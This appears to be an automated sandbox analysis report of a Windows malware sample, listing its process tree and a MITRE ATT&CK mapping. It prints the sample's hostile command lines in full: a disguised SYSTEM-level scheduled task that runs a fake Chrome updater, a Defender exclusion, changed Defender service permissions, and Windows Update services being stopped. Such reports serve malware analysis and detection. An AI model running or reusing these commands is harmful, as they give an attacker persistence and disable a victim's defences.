PID:3696

C:\Windows\System32\sc.exe
sc stop dosvc
3⤵
- Launches sc.exe
PID:5496

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
2⤵
PID:1800

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
3⤵
PID:5884

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
3⤵
PID:5208

C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-ac 0
3⤵
PID:2224

C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-dc 0
3⤵
- Executes dropped EXE
PID:5080

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#qbjrr#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
2⤵
PID:4588

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
2⤵
PID:5536

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
3⤵
PID:6060

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
3⤵
PID:5360

C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-ac 0
3⤵
PID:4248

C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-dc 0
3⤵
PID:5728

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#qbjrr#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
2⤵
PID:5532

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
2⤵
PID:5380

C:\Windows\System32\sc.exe
sc stop UsoSvc
3⤵
- Launches sc.exe
PID:5416

C:\Windows\System32\sc.exe
sc stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:5440

C:\Windows\System32\sc.exe
sc stop wuauserv
3⤵
- Launches sc.exe
PID:5980

C:\Windows\System32\sc.exe
sc stop bits
3⤵
- Launches sc.exe
PID:5936

C:\Windows\System32\sc.exe
sc stop dosvc
3⤵
- Launches sc.exe
PID:5728

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
2⤵
PID:5964

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
3⤵
PID:4900

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
3⤵
PID:4248

C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-ac 0
3⤵
PID:5728

C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-dc 0
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2896

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#qbjrr#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
2⤵
PID:1864

C:\Windows\System32\schtasks.exe
C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
2⤵
- Blocklisted process makes network request
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4704

C:\Windows\System32\schtasks.exe
C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
2⤵
PID:5244

C:\Windows\System32\schtasks.exe
C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
2⤵
PID:5332

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:1928

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
2⤵
PID:4416

C:\Windows\System32\sc.exe
sc stop UsoSvc
3⤵
- Launches sc.exe
PID:1112

C:\Windows\System32\sc.exe
sc stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:5472

C:\Windows\System32\sc.exe
sc stop wuauserv
3⤵
- Launches sc.exe
PID:3412

C:\Windows\System32\sc.exe
sc stop bits
3⤵
- Launches sc.exe
PID:3880

C:\Windows\System32\sc.exe
sc stop dosvc
3⤵
- Launches sc.exe
PID:748

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#qbjrr#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2816

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
2⤵
PID:404

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
3⤵
PID:5332

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
3⤵
PID:5956

C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-ac 0
3⤵
PID:5752

C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-dc 0
3⤵
PID:5644

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:4048

C:\Windows\explorer.exe
C:\Windows\explorer.exe
2⤵
PID:2304

C:\Users\Admin\AppData\Local\Temp\ebb444342c\legosa.exe
C:\Users\Admin\AppData\Local\Temp\ebb444342c\legosa.exe
1⤵
PID:3968

C:\Users\Admin\AppData\Local\Temp\ebb444342c\legosa.exe
C:\Users\Admin\AppData\Local\Temp\ebb444342c\legosa.exe
1⤵
- Executes dropped EXE
PID:6020

C:\Users\Admin\AppData\Local\Temp\e8bff37b77\yiueea.exe
C:\Users\Admin\AppData\Local\Temp\e8bff37b77\yiueea.exe
1⤵
- Executes dropped EXE
PID:5260

C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe
C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe
1⤵
- Executes dropped EXE
PID:5272

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
PID:6004

C:\Windows\SysWOW64\sc.exe
sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
1⤵
- Launches sc.exe
PID:4220

C:\Windows\windefender.exe
C:\Windows\windefender.exe
1⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:4560

C:\Users\Admin\AppData\Roaming\ifvttru
C:\Users\Admin\AppData\Roaming\ifvttru
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5032

C:\Users\Admin\AppData\Roaming\ifvttru
C:\Users\Admin\AppData\Roaming\ifvttru
2⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:5400

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Scripting

T1064

Scheduled Task/Job

T1053

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

Virtualization/Sandbox Evasion

T1497

Scripting

T1064

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

Virtualization/Sandbox Evasion

T1497

System Information Discovery